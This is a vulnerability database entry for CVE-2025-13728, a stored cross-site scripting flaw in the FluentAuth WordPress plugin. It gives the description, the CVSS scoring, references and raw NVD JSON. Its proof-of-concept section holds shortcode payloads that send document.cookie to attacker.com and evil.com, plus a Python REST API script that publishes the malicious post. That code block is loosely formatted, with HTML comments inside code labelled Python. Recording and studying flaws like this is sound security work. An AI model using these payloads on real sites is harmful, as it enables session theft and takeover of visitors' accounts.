CVE-2025-13728

Description

The FluentAuth – The Ultimate Authorization & Security Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `fluent_auth_reset_password` shortcode in all versions up to, and including, 2.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FluentAuth WordPress插件 ≤ 2.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- WordPress页面/文章中插入恶意短代码 -->
[fluent_auth_reset_password user_id='1" onmouseover="alert(document.cookie)" x="']

<!-- 绕过过滤的变体 -->
[fluent_auth_reset_password id='1'><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>']

<!-- WordPress REST API创建含恶意代码的文章 -->
import requests

wp_url = 'https://target.com/wp-json/wp/v2/posts'
auth = ('attacker_user', 'password')
headers = {'Content-Type': 'application/json'}
data = {
    'title': 'Malicious Page',
    'content': '[fluent_auth_reset_password id="1"><img src=x onerror=fetch("https://evil.com/log?cookie="+document.cookie)>]',
    'status': 'publish'
}
response = requests.post(wp_url, json=data, auth=auth, headers=headers)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13728
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13728
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13728/
[4] VulDB https://vuldb.com/cve/CVE-2025-13728
[5] https://plugins.trac.wordpress.org/changeset/3409232/fluent-security/tags/2.1.0/app/Hooks/Handlers/CustomAuthHandler.php
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/a3187d3e-e1da-4af7-a1fa-9657389f9e22?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13728", "sourceIdentifier": "[email protected]", "published": "2025-12-15T15:15:48.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FluentAuth – The Ultimate Authorization & Security Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `fluent_auth_reset_password` shortcode in all versions up to, and including, 2.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3409232/fluent-security/tags/2.1.0/app/Hooks/Handlers/CustomAuthHandler.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a3187d3e-e1da-4af7-a1fa-9657389f9e22?source=cve", "source": "[email protected]"}]}}